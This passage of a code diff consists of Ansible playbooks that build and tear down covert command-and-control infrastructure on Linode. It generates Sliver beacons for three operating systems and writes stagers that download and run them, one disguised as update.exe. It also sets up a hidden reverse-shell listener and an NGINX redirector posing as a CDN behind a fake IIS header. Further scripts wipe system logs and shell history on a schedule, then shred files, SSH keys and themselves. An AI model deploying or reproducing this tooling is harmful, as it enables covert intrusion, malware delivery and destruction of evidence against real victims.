|
|
||||||
echo "[+] Terminating operational processes..."
|
|
||||||
process_names=("sliver" "nc" "python")
|
|
||||||
for proc in "${process_names[@]}"; do
|
|
||||||
pkill -9 $proc 2>/dev/null
|
|
||||||
done
|
|
||||||
|
|
||||||
# Clear all logs
|
|
||||||
echo "[+] Clearing logs..."
|
|
||||||
bash /opt/c2/clean-logs.sh
|
|
||||||
|
|
||||||
# Securely delete operational files
|
|
||||||
echo "[+] Removing operational files..."
|
|
||||||
operational_dirs=(
|
|
||||||
"/opt/c2"
|
|
||||||
"/opt/beacons"
|
|
||||||
"/opt/payloads"
|
|
||||||
"/root/.sliver"
|
|
||||||
)
|
|
||||||
|
|
||||||
for dir in "${operational_dirs[@]}"; do
|
|
||||||
find $dir -type f 2>/dev/null | while read file; do
|
|
||||||
secure_delete "$file"
|
|
||||||
done
|
|
||||||
rm -rf $dir 2>/dev/null
|
|
||||||
done
|
|
||||||
|
|
||||||
# Remove SSH keys
|
|
||||||
echo "[+] Removing SSH keys and configs..."
|
|
||||||
find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do
|
|
||||||
secure_delete "$file"
|
|
||||||
done
|
|
||||||
|
|
||||||
# Clean memory if requested
|
|
||||||
if $MEMORY_WIPE; then
|
|
||||||
echo "[+] Wiping system memory..."
|
|
||||||
sync
|
|
||||||
echo 3 > /proc/sys/vm/drop_caches
|
|
||||||
swapoff -a
|
|
||||||
swapon -a
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "[+] Secure exit completed. Infrastructure has been sanitized."
|
|
||||||
|
|
||||||
# Remove this script itself
|
|
||||||
exec shred -n $SECURE_DELETE_PASSES -uz $0
|
|
||||||
dest: /opt/c2/secure-exit.sh
|
|
||||||
mode: '0700'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
|
|
||||||
- name: Create beacon-server.sh script
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
#!/bin/bash
|
|
||||||
# Beacon server script
|
|
||||||
|
|
||||||
# Configuration
|
|
||||||
BEACONS_DIR="/opt/beacons"
|
|
||||||
WEBSERVER_PORT=8443
|
|
||||||
|
|
||||||
# Set secure umask
|
|
||||||
umask 077
|
|
||||||
|
|
||||||
# Ensure beacons directory exists
|
|
||||||
mkdir -p $BEACONS_DIR
|
|
||||||
|
|
||||||
# Generate beacons using Sliver
|
|
||||||
echo "[+] Generating beacons for all platforms..."
|
|
||||||
|
|
||||||
# Make sure Sliver server is running
|
|
||||||
if ! pgrep -x "sliver-server" > /dev/null; then
|
|
||||||
echo "[!] Sliver server is not running, starting it..."
|
|
||||||
systemctl start sliver
|
|
||||||
sleep 5
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Generate Windows beacon
|
|
||||||
sliver-cli generate --http {{ ansible_host }}:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe
|
|
||||||
|
|
||||||
# Generate Linux beacon
|
|
||||||
sliver-cli generate --http {{ ansible_host }}:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux
|
|
||||||
|
|
||||||
# Generate macOS beacon
|
|
||||||
sliver-cli generate --http {{ ansible_host }}:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos
|
|
||||||
|
|
||||||
# Generate stagers
|
|
||||||
echo "#!/bin/bash
|
|
||||||
curl -s {{ ansible_host }}:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh
|
|
||||||
chmod +x $BEACONS_DIR/beacon.sh
|
|
||||||
|
|
||||||
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
|
|
||||||
\$url = 'http://{{ ansible_host }}:8443/windows.exe';
|
|
||||||
\$outpath = \"\$env:TEMP\\update.exe\";
|
|
||||||
Invoke-WebRequest -Uri \$url -OutFile \$outpath;
|
|
||||||
Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1
|
|
||||||
|
|
||||||
echo "[+] All beacons generated successfully"
|
|
||||||
|
|
||||||
# Serve beacons using Python's HTTP server
|
|
||||||
echo "[+] Starting HTTP server on port $WEBSERVER_PORT..."
|
|
||||||
cd $BEACONS_DIR
|
|
||||||
python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
|
|
||||||
SERVER_PID=$!
|
|
||||||
|
|
||||||
echo "[+] Beacon server started with PID $SERVER_PID"
|
|
||||||
echo "[+] Beacons available at http://{{ ansible_host }}:$WEBSERVER_PORT/"
|
|
||||||
|
|
||||||
# Keep script running
|
|
||||||
trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT
|
|
||||||
while true; do sleep 1; done
|
|
||||||
dest: /opt/c2/beacon-server.sh
|
|
||||||
mode: '0700'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
|
|
||||||
- name: Install Sliver C2 framework
|
|
||||||
shell: |
|
|
||||||
curl https://sliver.sh/install | bash
|
|
||||||
args:
|
|
||||||
creates: /usr/local/bin/sliver-server
|
|
||||||
|
|
||||||
- name: Create Sliver service file
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
[Unit]
|
|
||||||
Description=Sliver C2 Server
|
|
||||||
After=network.target
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
Type=simple
|
|
||||||
User=root
|
|
||||||
Group=root
|
|
||||||
WorkingDirectory=/root/.sliver
|
|
||||||
ExecStart=/usr/local/bin/sliver-server daemon
|
|
||||||
Restart=always
|
|
||||||
RestartSec=10
|
|
||||||
|
|
||||||
# Security measures
|
|
||||||
PrivateTmp=true
|
|
||||||
ProtectHome=false
|
|
||||||
NoNewPrivileges=true
|
|
||||||
|
|
||||||
# Hide process information
|
|
||||||
StandardOutput=null
|
|
||||||
StandardError=null
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
dest: /etc/systemd/system/sliver.service
|
|
||||||
mode: '0644'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
|
|
||||||
- name: Start and enable Sliver service
|
|
||||||
systemd:
|
|
||||||
name: sliver
|
|
||||||
state: started
|
|
||||||
enabled: yes
|
|
||||||
daemon_reload: yes
|
|
||||||
|
|
||||||
- name: Set up cron job for log cleaning
|
|
||||||
cron:
|
|
||||||
name: "Clean logs"
|
|
||||||
minute: "0"
|
|
||||||
hour: "*/6"
|
|
||||||
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
|
|
||||||
when: zero_logs|bool
|
|
||||||
|
|
||||||
- name: Start beacon server
|
|
||||||
shell: |
|
|
||||||
nohup /opt/c2/beacon-server.sh > /dev/null 2>&1 &
|
|
||||||
args:
|
|
||||||
creates: /opt/beacons/windows.exe
|
|
||||||
@@ -0,0 +1,113 @@
|
|||||||
|
---
|
||||||
|
# Linode Cleanup Playbook
|
||||||
|
# Used to tear down Linode infrastructure
|
||||||
|
|
||||||
|
- name: Clean up Linode infrastructure
|
||||||
|
hosts: localhost
|
||||||
|
connection: local
|
||||||
|
gather_facts: false
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
|
vars:
|
||||||
|
cleanup_redirector: "{{ (redirector_name is defined and redirector_name != '') | ternary(true, false) }}"
|
||||||
|
cleanup_c2: "{{ (c2_name is defined and c2_name != '') | ternary(true, false) }}"
|
||||||
|
confirm_cleanup: "{{ confirm_cleanup | default(true) }}"
|
||||||
|
|
||||||
|
tasks:
|
||||||
|
- name: Validate required Linode token
|
||||||
|
assert:
|
||||||
|
that:
|
||||||
|
- linode_token is defined and linode_token != ""
|
||||||
|
fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token."
|
||||||
|
|
||||||
|
- name: Confirm cleanup if required
|
||||||
|
pause:
|
||||||
|
prompt: "WARNING: This will permanently delete all infrastructure. Type 'yes' to continue"
|
||||||
|
register: confirmation
|
||||||
|
when: confirm_cleanup
|
||||||
|
|
||||||
|
- name: Exit if not confirmed
|
||||||
|
meta: end_play
|
||||||
|
when: confirm_cleanup and confirmation.user_input != 'yes'
|
||||||
|
|
||||||
|
- name: Get redirector instance info
|
||||||
|
community.general.linode_v4:
|
||||||
|
access_token: "{{ linode_token }}"
|
||||||
|
command: list
|
||||||
|
label: "{{ redirector_name }}"
|
||||||
|
register: redirector_info
|
||||||
|
failed_when: false
|
||||||
|
when: cleanup_redirector
|
||||||
|
|
||||||
|
- name: Get C2 instance info
|
||||||
|
community.general.linode_v4:
|
||||||
|
access_token: "{{ linode_token }}"
|
||||||
|
command: list
|
||||||
|
label: "{{ c2_name }}"
|
||||||
|
register: c2_info
|
||||||
|
failed_when: false
|
||||||
|
when: cleanup_c2
|
||||||
|
|
||||||
|
- name: Set redirector ID as fact
|
||||||
|
set_fact:
|
||||||
|
redirector_instance_id: "{{ redirector_info.instances[0].id }}"
|
||||||
|
when:
|
||||||
|
- cleanup_redirector
|
||||||
|
- redirector_info.instances is defined
|
||||||
|
- redirector_info.instances | length > 0
|
||||||
|
|
||||||
|
- name: Set C2 ID as fact
|
||||||
|
set_fact:
|
||||||
|
c2_instance_id: "{{ c2_info.instances[0].id }}"
|
||||||
|
when:
|
||||||
|
- cleanup_c2
|
||||||
|
- c2_info.instances is defined
|
||||||
|
- c2_info.instances | length > 0
|
||||||
|
|
||||||
|
- name: Delete redirector instance
|
||||||
|
community.general.linode_v4:
|
||||||
|
access_token: "{{ linode_token }}"
|
||||||
|
command: delete
|
||||||
|
label: "{{ redirector_name }}"
|
||||||
|
state: absent
|
||||||
|
when:
|
||||||
|
- cleanup_redirector
|
||||||
|
- redirector_instance_id is defined
|
||||||
|
register: redirector_deletion
|
||||||
|
|
||||||
|
- name: Delete C2 instance
|
||||||
|
community.general.linode_v4:
|
||||||
|
access_token: "{{ linode_token }}"
|
||||||
|
command: delete
|
||||||
|
label: "{{ c2_name }}"
|
||||||
|
state: absent
|
||||||
|
when:
|
||||||
|
- cleanup_c2
|
||||||
|
- c2_instance_id is defined
|
||||||
|
register: c2_deletion
|
||||||
|
|
||||||
|
- name: Remove SSH key file if it's not a shared key
|
||||||
|
file:
|
||||||
|
path: "{{ ssh_key_path | replace('.pub', '') }}"
|
||||||
|
state: absent
|
||||||
|
when:
|
||||||
|
- ssh_key_path is defined
|
||||||
|
- ssh_key_path is search('c2deploy_')
|
||||||
|
ignore_errors: true
|
||||||
|
|
||||||
|
- name: Remove SSH public key file if it's not a shared key
|
||||||
|
file:
|
||||||
|
path: "{{ ssh_key_path }}"
|
||||||
|
state: absent
|
||||||
|
when:
|
||||||
|
- ssh_key_path is defined
|
||||||
|
- ssh_key_path is search('c2deploy_')
|
||||||
|
ignore_errors: true
|
||||||
|
|
||||||
|
- name: Cleanup complete message
|
||||||
|
debug:
|
||||||
|
msg:
|
||||||
|
- "Linode infrastructure cleanup complete!"
|
||||||
|
- "Resources that were cleaned up:"
|
||||||
|
- "{{ cleanup_redirector | ternary('- Redirector instance: ' + redirector_name, '') }}"
|
||||||
|
- "{{ cleanup_c2 | ternary('- C2 instance: ' + c2_name, '') }}"
|
||||||
+75
-397
@@ -1,431 +1,109 @@
|
|||||||
---
|
---
|
||||||
- name: Deploy Linode redirector server
|
# Linode Redirector-only Deployment Playbook
|
||||||
|
|
||||||
|
- name: Deploy Linode redirector
|
||||||
hosts: localhost
|
hosts: localhost
|
||||||
gather_facts: false
|
gather_facts: false
|
||||||
connection: local
|
connection: local
|
||||||
vars_files:
|
vars_files:
|
||||||
- vars.yaml
|
- vars.yaml
|
||||||
|
vars:
|
||||||
|
# Default values for required variables
|
||||||
|
ssh_user: "{{ ssh_user | default('root') }}"
|
||||||
|
linode_region: "{{ linode_region | default(region_choices | random) }}"
|
||||||
|
plan: "{{ plan | default('g6-standard-1') }}"
|
||||||
|
image: "{{ image | default('linode/debian11') }}"
|
||||||
|
|
||||||
|
# Generate random instance name if not provided
|
||||||
|
redirector_name: "{{ redirector_name | default('srv-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
|
||||||
|
|
||||||
|
# Generate random shell handler port if not provided
|
||||||
|
shell_handler_port: "{{ shell_handler_port | default(4000 + 60000 | random) }}"
|
||||||
|
|
||||||
tasks:
|
tasks:
|
||||||
- name: Create Linode redirector instance
|
- name: Validate required Linode token
|
||||||
|
assert:
|
||||||
|
that:
|
||||||
|
- linode_token is defined and linode_token != ""
|
||||||
|
fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token."
|
||||||
|
|
||||||
|
- name: Create redirector Linode instance
|
||||||
community.general.linode_v4:
|
community.general.linode_v4:
|
||||||
access_token: "{{ linode_token }}"
|
access_token: "{{ linode_token }}"
|
||||||
label: "{{ redirector_name }}"
|
label: "{{ redirector_name }}"
|
||||||
type: "{{ plan }}"
|
type: "{{ plan }}"
|
||||||
region: "{{ region }}"
|
region: "{{ linode_region }}"
|
||||||
image: "linode/debian11"
|
image: "{{ image }}"
|
||||||
root_pass: "{{ lookup('password', '/dev/null length=16') }}"
|
root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}"
|
||||||
authorized_keys:
|
authorized_keys:
|
||||||
- "{{ lookup('file', ssh_key_path + '.pub') }}"
|
- "{{ lookup('file', ssh_key_path) }}"
|
||||||
state: present
|
state: present
|
||||||
register: redirector_instance
|
register: redirector_instance
|
||||||
|
|
||||||
- name: Save redirector IP
|
- name: Set redirector_ip for later use
|
||||||
ansible.builtin.set_fact:
|
set_fact:
|
||||||
redirector_ip: "{{ redirector_instance.instance.ipv4[0] }}"
|
redirector_ip: "{{ redirector_instance.instance.ipv4[0] }}"
|
||||||
|
redirector_instance_id: "{{ redirector_instance.instance.id }}"
|
||||||
|
|
||||||
- name: Wait for SSH to become available
|
- name: Wait for redirector SSH to be available
|
||||||
ansible.builtin.wait_for:
|
wait_for:
|
||||||
host: "{{ redirector_ip }}"
|
host: "{{ redirector_ip }}"
|
||||||
port: 22
|
port: 22
|
||||||
delay: 10
|
delay: 30
|
||||||
timeout: 300
|
timeout: 300
|
||||||
state: started
|
state: started
|
||||||
|
|
||||||
- name: Add redirector to inventory
|
- name: Add redirector to inventory
|
||||||
ansible.builtin.add_host:
|
add_host:
|
||||||
name: "redirector"
|
name: "redirector"
|
||||||
|
groups: "redirectors"
|
||||||
ansible_host: "{{ redirector_ip }}"
|
ansible_host: "{{ redirector_ip }}"
|
||||||
ansible_user: "{{ ssh_user | default('root') }}"
|
ansible_user: "{{ ssh_user }}"
|
||||||
ansible_ssh_private_key_file: "{{ ssh_key_path }}"
|
ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}"
|
||||||
groups: redirectors
|
ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
|
||||||
|
|
||||||
- name: Configure redirector
|
- name: Configure redirector server
|
||||||
hosts: redirectors
|
hosts: redirectors
|
||||||
become: true
|
become: true
|
||||||
|
gather_facts: true
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
vars:
|
vars:
|
||||||
domain: "{{ domain | default('example.com') }}"
|
c2_ip: "{{ c2_ip | default('127.0.0.1') }}"
|
||||||
redirector_subdomain: "cdn"
|
redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
|
||||||
letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}"
|
|
||||||
zero_logs: "{{ zero_logs | default(true) }}"
|
|
||||||
shell_handler_port: 4444
|
|
||||||
c2_ip: "{{ hostvars['localhost']['c2_ip'] | default('127.0.0.1') }}"
|
|
||||||
|
|
||||||
tasks:
|
tasks:
|
||||||
- name: Update apt cache
|
- name: Wait for apt to be available
|
||||||
apt:
|
apt:
|
||||||
update_cache: yes
|
update_cache: yes
|
||||||
|
register: apt_result
|
||||||
- name: Install required packages
|
until: apt_result is success
|
||||||
apt:
|
retries: 5
|
||||||
name:
|
delay: 10
|
||||||
- nginx
|
|
||||||
- certbot
|
- name: Disable root password authentication for SSH immediately
|
||||||
- python3-certbot-nginx
|
lineinfile:
|
||||||
- socat
|
path: /etc/ssh/sshd_config
|
||||||
- netcat-openbsd
|
regexp: '^#?PasswordAuthentication'
|
||||||
- cryptsetup
|
line: 'PasswordAuthentication no'
|
||||||
- secure-delete
|
|
||||||
state: present
|
state: present
|
||||||
|
|
||||||
|
- name: Restart SSH service to apply changes
|
||||||
|
service:
|
||||||
|
name: ssh
|
||||||
|
state: restarted
|
||||||
|
|
||||||
|
- name: Include common redirector configuration tasks
|
||||||
|
include_tasks: "../tasks/configure_redirector.yml"
|
||||||
|
|
||||||
|
- name: Include common security hardening tasks
|
||||||
|
include_tasks: "../tasks/security_hardening.yml"
|
||||||
|
|
||||||
- name: Create directories for OPSEC scripts
|
- name: Print deployment summary
|
||||||
file:
|
debug:
|
||||||
path: "{{ item }}"
|
msg:
|
||||||
state: directory
|
- "Redirector Deployment Complete!"
|
||||||
mode: '0700'
|
- "-------------------------------"
|
||||||
owner: root
|
- "Redirector IP: {{ ansible_host }}"
|
||||||
group: root
|
- "Redirector Domain: {{ redirector_subdomain }}.{{ domain }} (Update DNS A record)"
|
||||||
with_items:
|
- "Shell Handler Port: {{ shell_handler_port }}"
|
||||||
- /opt/c2
|
when: not disable_summary | default(false)
|
||||||
- /opt/shell-handler
|
|
||||||
|
|
||||||
- name: Create clean-logs.sh script
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
#!/bin/bash
|
|
||||||
# Zero-logs maintenance script
|
|
||||||
umask 077
|
|
||||||
|
|
||||||
# Disable syslog temporarily
|
|
||||||
systemctl stop rsyslog 2>/dev/null
|
|
||||||
systemctl stop systemd-journald 2>/dev/null
|
|
||||||
|
|
||||||
# Clear system logs
|
|
||||||
find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
|
|
||||||
find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \;
|
|
||||||
find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \;
|
|
||||||
journalctl --vacuum-time=1s 2>/dev/null
|
|
||||||
|
|
||||||
# Clear bash history
|
|
||||||
for histfile in /root/.bash_history /home/*/.bash_history; do
|
|
||||||
[ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
|
|
||||||
done
|
|
||||||
history -c
|
|
||||||
|
|
||||||
# Clear NGINX logs
|
|
||||||
for nginx_log in /var/log/nginx/*; do
|
|
||||||
[ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null
|
|
||||||
done
|
|
||||||
|
|
||||||
# Clear temporary directories
|
|
||||||
rm -rf /tmp/* /var/tmp/* 2>/dev/null
|
|
||||||
|
|
||||||
# Restart logging services
|
|
||||||
systemctl start systemd-journald 2>/dev/null
|
|
||||||
systemctl start rsyslog 2>/dev/null
|
|
||||||
|
|
||||||
echo "[+] Log cleaning complete"
|
|
||||||
exit 0
|
|
||||||
dest: /opt/c2/clean-logs.sh
|
|
||||||
mode: '0700'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
|
|
||||||
- name: Create shell handler script
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
#!/bin/bash
|
|
||||||
# Automated shell handler for catching and upgrading reverse shells
|
|
||||||
|
|
||||||
# Configuration
|
|
||||||
LISTEN_PORT={{ shell_handler_port }}
|
|
||||||
C2_HOST="{{ c2_ip }}"
|
|
||||||
|
|
||||||
# Set secure permissions
|
|
||||||
umask 077
|
|
||||||
|
|
||||||
# Logging function
|
|
||||||
log() {
|
|
||||||
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
|
|
||||||
local message="$1"
|
|
||||||
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc
|
|
||||||
}
|
|
||||||
|
|
||||||
# Detect OS function
|
|
||||||
detect_os() {
|
|
||||||
local connection=$1
|
|
||||||
|
|
||||||
# Send commands to determine OS
|
|
||||||
echo "echo \$OSTYPE" > $connection
|
|
||||||
sleep 1
|
|
||||||
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
|
|
||||||
|
|
||||||
if [[ $ostype == *"win"* ]]; then
|
|
||||||
echo "windows"
|
|
||||||
elif [[ $ostype == *"darwin"* ]]; then
|
|
||||||
echo "macos"
|
|
||||||
elif [[ $ostype == *"linux"* ]]; then
|
|
||||||
echo "linux"
|
|
||||||
else
|
|
||||||
# Try Windows-specific command
|
|
||||||
echo "ver" > $connection
|
|
||||||
sleep 1
|
|
||||||
winver=$(cat $connection | grep -i "microsoft windows")
|
|
||||||
|
|
||||||
if [[ -n "$winver" ]]; then
|
|
||||||
echo "windows"
|
|
||||||
else
|
|
||||||
# Default to Linux if we can't determine
|
|
||||||
echo "linux"
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
# Main shell handler loop
|
|
||||||
handle_connections() {
|
|
||||||
log "Shell handler started on port $LISTEN_PORT"
|
|
||||||
|
|
||||||
# Use mkfifo for bidirectional communication
|
|
||||||
PIPE_PATH="/tmp/shell_handler_pipe"
|
|
||||||
trap 'rm -f $PIPE_PATH' EXIT
|
|
||||||
|
|
||||||
while true; do
|
|
||||||
# Clean up existing pipe
|
|
||||||
rm -f $PIPE_PATH
|
|
||||||
mkfifo $PIPE_PATH
|
|
||||||
|
|
||||||
log "Waiting for incoming connection..."
|
|
||||||
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
|
|
||||||
NC_PID=$!
|
|
||||||
|
|
||||||
# Wait for connection
|
|
||||||
wait $NC_PID
|
|
||||||
log "Connection closed, restarting listener..."
|
|
||||||
rm -f $PIPE_PATH.output
|
|
||||||
done
|
|
||||||
}
|
|
||||||
|
|
||||||
# Start the shell handler
|
|
||||||
handle_connections
|
|
||||||
dest: /opt/shell-handler/persistent-listener.sh
|
|
||||||
mode: '0700'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
|
|
||||||
- name: Create shell handler service
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
[Unit]
|
|
||||||
Description=Reverse Shell Handler Service
|
|
||||||
After=network.target
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
Type=simple
|
|
||||||
User=root
|
|
||||||
Group=root
|
|
||||||
ExecStart=/opt/shell-handler/persistent-listener.sh
|
|
||||||
Restart=always
|
|
||||||
RestartSec=10
|
|
||||||
|
|
||||||
# Hide process information
|
|
||||||
PrivateTmp=true
|
|
||||||
ProtectSystem=full
|
|
||||||
NoNewPrivileges=true
|
|
||||||
|
|
||||||
# Make shell handler hard to find
|
|
||||||
StandardOutput=null
|
|
||||||
StandardError=null
|
|
||||||
|
|
||||||
# Environment variables
|
|
||||||
Environment="C2_HOST={{ c2_ip }}"
|
|
||||||
Environment="LISTEN_PORT={{ shell_handler_port }}"
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
dest: /etc/systemd/system/shell-handler.service
|
|
||||||
mode: '0644'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
|
|
||||||
- name: Configure NGINX for zero-logging
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
user www-data;
|
|
||||||
worker_processes auto;
|
|
||||||
pid /run/nginx.pid;
|
|
||||||
include /etc/nginx/modules-enabled/*.conf;
|
|
||||||
|
|
||||||
events {
|
|
||||||
worker_connections 1024;
|
|
||||||
multi_accept on;
|
|
||||||
}
|
|
||||||
|
|
||||||
http {
|
|
||||||
# Basic Settings
|
|
||||||
sendfile on;
|
|
||||||
tcp_nopush on;
|
|
||||||
tcp_nodelay on;
|
|
||||||
keepalive_timeout 65;
|
|
||||||
types_hash_max_size 2048;
|
|
||||||
server_tokens off;
|
|
||||||
|
|
||||||
# MIME
|
|
||||||
include /etc/nginx/mime.types;
|
|
||||||
default_type application/octet-stream;
|
|
||||||
|
|
||||||
# Zero-logs configuration
|
|
||||||
access_log off;
|
|
||||||
error_log /dev/null crit;
|
|
||||||
|
|
||||||
# SSL Settings
|
|
||||||
ssl_protocols TLSv1.2 TLSv1.3;
|
|
||||||
ssl_prefer_server_ciphers on;
|
|
||||||
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
|
|
||||||
|
|
||||||
# Headers to confuse fingerprinting
|
|
||||||
more_set_headers 'Server: Microsoft-IIS/8.5';
|
|
||||||
|
|
||||||
# Virtual Host Configs
|
|
||||||
include /etc/nginx/conf.d/*.conf;
|
|
||||||
include /etc/nginx/sites-enabled/*;
|
|
||||||
}
|
|
||||||
dest: /etc/nginx/nginx.conf
|
|
||||||
mode: '0644'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
when: zero_logs|bool
|
|
||||||
|
|
||||||
- name: Configure NGINX default site for C2 redirection
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
server {
|
|
||||||
listen 80;
|
|
||||||
listen [::]:80;
|
|
||||||
server_name {{ redirector_subdomain }}.{{ domain }};
|
|
||||||
|
|
||||||
# Redirect to HTTPS
|
|
||||||
return 301 https://$host$request_uri;
|
|
||||||
}
|
|
||||||
|
|
||||||
server {
|
|
||||||
listen 443 ssl;
|
|
||||||
listen [::]:443 ssl;
|
|
||||||
server_name {{ redirector_subdomain }}.{{ domain }};
|
|
||||||
|
|
||||||
# SSL Configuration (self-signed until Let's Encrypt is set up)
|
|
||||||
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
|
|
||||||
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
|
|
||||||
|
|
||||||
# Root directory
|
|
||||||
root /var/www/html;
|
|
||||||
index index.html;
|
|
||||||
|
|
||||||
# Special URI patterns for C2 traffic
|
|
||||||
location /ajax/ {
|
|
||||||
proxy_pass http://{{ c2_ip }}:8888;
|
|
||||||
proxy_http_version 1.1;
|
|
||||||
proxy_set_header Host $host;
|
|
||||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
|
||||||
proxy_set_header X-Real-IP $remote_addr;
|
|
||||||
proxy_set_header Upgrade $http_upgrade;
|
|
||||||
proxy_set_header Connection "upgrade";
|
|
||||||
}
|
|
||||||
|
|
||||||
# Default location
|
|
||||||
location / {
|
|
||||||
try_files $uri $uri/ =404;
|
|
||||||
}
|
|
||||||
|
|
||||||
# Disable logging for this server block
|
|
||||||
access_log off;
|
|
||||||
error_log /dev/null crit;
|
|
||||||
}
|
|
||||||
|
|
||||||
# Catch-all server block
|
|
||||||
server {
|
|
||||||
listen 80 default_server;
|
|
||||||
listen [::]:80 default_server;
|
|
||||||
|
|
||||||
# Redirect all unknown traffic to a legitimate-looking site
|
|
||||||
return 301 https://www.google.com;
|
|
||||||
|
|
||||||
# Disable logs
|
|
||||||
access_log off;
|
|
||||||
error_log /dev/null crit;
|
|
||||||
}
|
|
||||||
dest: /etc/nginx/sites-available/default
|
|
||||||
mode: '0644'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
|
|
||||||
- name: Create legitimate-looking index.html
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
<!DOCTYPE html>
|
|
||||||
<html lang="en">
|
|
||||||
<head>
|
|
||||||
<meta charset="UTF-8">
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
||||||
<title>{{ redirector_subdomain }} - Content Delivery Network</title>
|
|
||||||
<style>
|
|
||||||
body {
|
|
||||||
font-family: Arial, sans-serif;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
background-color: #f4f4f4;
|
|
||||||
}
|
|
||||||
header {
|
|
||||||
background-color: #2c3e50;
|
|
||||||
color: white;
|
|
||||||
padding: 1em;
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
.container {
|
|
||||||
width: 80%;
|
|
||||||
margin: 0 auto;
|
|
||||||
padding: 2em;
|
|
||||||
}
|
|
||||||
.card {
|
|
||||||
background-color: white;
|
|
||||||
border-radius: 5px;
|
|
||||||
padding: 1.5em;
|
|
||||||
margin-bottom: 1.5em;
|
|
||||||
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<header>
|
|
||||||
<h1>{{ redirector_subdomain }}.{{ domain }}</h1>
|
|
||||||
<p>Enterprise Content Delivery Network</p>
|
|
||||||
</header>
|
|
||||||
|
|
||||||
<div class="container">
|
|
||||||
<div class="card">
|
|
||||||
<h2>Welcome to Our CDN</h2>
|
|
||||||
<p>This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications.</p>
|
|
||||||
<p><em>This is a private service. Unauthorized access is prohibited.</em></p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
dest: /var/www/html/index.html
|
|
||||||
mode: '0644'
|
|
||||||
owner: www-data
|
|
||||||
group: www-data
|
|
||||||
|
|
||||||
- name: Start and enable shell handler service
|
|
||||||
systemd:
|
|
||||||
name: shell-handler
|
|
||||||
state: started
|
|
||||||
enabled: yes
|
|
||||||
daemon_reload: yes
|
|
||||||
|
|
||||||
- name: Set up cron job for log cleaning
|
|
||||||
cron:
|
|
||||||
name: "Clean logs"
|
|
||||||
minute: "0"
|
|
||||||
hour: "*/6"
|
|
||||||
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
|
|
||||||
when: zero_logs|bool
|
|
||||||
|
|
||||||
- name: Install Let's Encrypt certificate if domain specified
|
|
||||||
shell: |
|
|
||||||
